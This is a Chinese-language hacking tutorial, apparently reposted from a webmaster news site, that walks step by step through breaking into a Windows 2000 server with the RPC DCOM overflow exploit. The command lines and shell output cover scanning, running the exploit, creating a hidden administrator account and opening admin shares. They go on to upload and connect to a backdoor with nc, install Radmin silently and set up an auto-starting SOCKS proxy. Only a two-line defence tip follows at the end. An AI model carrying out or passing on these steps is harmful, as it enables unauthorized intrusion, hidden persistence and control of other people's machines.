| 需要的工具： 很好的：?radmin.exe 扫描工具: retinarpcdcom.exe 溢出攻击工具:RpcDcom（通用溢出工具) 脚本开启telnet工具：telnet.vbe opentelnet.exe resumetelnet.exe 代理：sksockserver.exe 后门程序：WinEggDropShellPro3thVersion 好了，该做的都做的差不多了。现在开始把~~ 首先使用retinarpcdcom.exe扫描一个网段。查找有rpc漏洞的机子，这个漏洞需要135端口开放，（想必 随便扫一下就会发现有许多主机开放的135端口）。。。。。。 (人走运座着都能检到钱) 211.217.50.xx?第一个主机就被扫出来又此漏洞。开始工作 看看211.217.50.xx有没有其他的漏洞或是若口令之类的.我们可以使用流光扫描一下, 好了..看样子没有 其他的缺陷,主机开了3389端口,我们可以上去看一下是xp版本还是win2k 哈哈，是win2k server版本 展开命令行： [查看dcomrpc的用法?用法 dcomrpc -d Options: ? -d:????Hostname to attack [Required] ? -t:????Type [Default: 0] ? -r:????Return address [Default: Selected from target] ? -p:????Attack port [Default: 135] ? -l:????Bindshell port [Default: 666] Types: ? 0 [0x0018759f]: [Win2k-Universal] ? 1 [0x0100139d]: [WinXP-Universal] 开始进行溢出： F:\hack>cd rpc\dcomrpc -d?211.217.50.xx 0 RPC DCOM remote expl01t - .:[oc192.us]:. Security Complied and recorrected by Expl01t www.longker.com [ ] Resolving host.. [ ] Done. [ ] Expl01ting....Just wait...... 等到出现，说明溢出成功 c:\winnt\system32> 接着我们建立用户 c:\winnt\system32>net user blueye$Content$nbsp;1111 /add 命令成功完成。 把用户添加成超级管理员 c:\winnt\system32>net localgroup administrators blueye$Content$nbsp;/add 命令成功完成。 看看共享开了没有,没有的话把共享开开 c:\winnt\system32>net share 清单是空的。 c:\winnt\system32>net share ipc$Content$nbsp; 命令成功完成。 c:\winnt\system32>net share admin$Content$nbsp; 命令成功完成。 到这里我们入侵告一段落 [ 建 立 IPC$Content$nbsp;连 接 ，也可以使用tftp上传 ，先和对方建立连接] F:\hack>net use \\211.217.50.xx\ipc$Content$nbsp;"1111" /user:blueye$Content$nbsp; [ 上 传 一 个 后 门 程 序 到 对 方 的 主 机 里] F:\hack>copy d:\inject.exe \\211.217.50.xx\admin$\system32 F:\hack>copy d:\tback.dll \\211.217.50.xx\admin$\system32 然后运行后门程序，我们可以使用at命令。但是有的机器把at明令禁止了，建议直接开起telnet 使用opentelnet.exe? 关闭开启的telnet使用resumetelnet \\ip user password 如果忘记开共享可以使用脚本开启telnet来开共享，用法: cscript telnet.vbe ip user password null port? (null是验证方式) F:\hack>opentenet \\211.217.50.xx blueye$Content$nbsp;1111 1 4567 F:\hack>telnet 211.217.50.xx 4567 省略... 连接并运行后门程序,运行后门程序命令?根目录：inject.exe -run （后门使用方法和安装都在zip文件里面包含了） 后门端口123456 F:\hack>nc 211.217.50.xx 123456 ???????Welcome To WinEggDropShell Matrix Version [Melody]# 下面安装radmin 配置好的radmin客户端有4个文件。配置radmin客户端可参考相关文章 radmin.reg raddrv.dll admdll.dll r_server.exe 把这个4个文件copy c:\winnt\system32 在目录下面执行命令 c:\winnt\system32>r_server /s radmin.reg? -----导入注册表 c:\winnt\system32>r_server /install /silence -----安装radmin.并且不显示托盘 c:\winnt\system32>net start r_server?----- 启动服务 可以开启3389的话你自己看着办把，哈哈 安装sock代理 把sksockserver.exe copy c:\winnt\system32 c:\winnt\system32>sksockserver /install?????????-----安装服务 c:\winnt\system32>sksockserver -config port 1234?????----端口定在1234?自己可以改 c:\winnt\system32>sksockserver -config starttype 2????----开机自动启动 c:\winnt\system32>net start skserver??????????? ----启动服务 最后删除共享 net share ipc$Content$nbsp;/del net share admin$Content$nbsp;/del 在安装radmin的时候你发现有人已经安装了。。怎么办？走人？--------NO 看操作? (我输入的内容) 后门连接 F:\hack>nc 211.217.50.xx 123456 ???????Welcome To WinEggDropShell Matrix Version [Melody]#（pslist） [Melody]#(pskill r_server) [Melody]#(shell) c:\winnt\system32>(del r_server.exe) c:\winnt\system32>(del admdll.dll) c:\winnt\system32>(del raddrv.dll) copy你自己的上去，然后安装 省事的办法直接导入注册表，然后重新输入安装命令运行，就可以了，只是在原来默认端口上面架上了密 码 等等。。。。为什么我输入导入注册表命令不管用呢？出现什么regedit不是可运行的程序之类的 。 完了，努力白费了。。。。。。。 -----------------------------NO 出现这样的情况最简单的解决办法telnet上去导入试试看，什么？不是把，有没有搞错阿。。。 呵呵，尽管放心，去试试看就知道；还可以先运行radmin 然后在radmin的dos下导入，也是可以的 嗬嗬，去试试看吧 防御办法： 安装rpc补丁 使用防火墙过滤135，445，139等端口 |
免责声明：本站部分文章和图片均来自用户投稿和网络收集，旨在传播知识，文章和图片版权归原作者及原出处所有，仅供学习与参考，请勿用于商业用途，如果损害了您的权利，请联系我们及时修正或删除。谢谢！
始终以前瞻性的眼光聚焦站长、创业、互联网等领域，为您提供最新最全的互联网资讯，帮助站长转型升级，为互联网创业者提供更加优质的创业信息和品牌营销服务，与站长一起进步！让互联网创业者不再孤独！
扫一扫，关注站长网微信
大家都在看
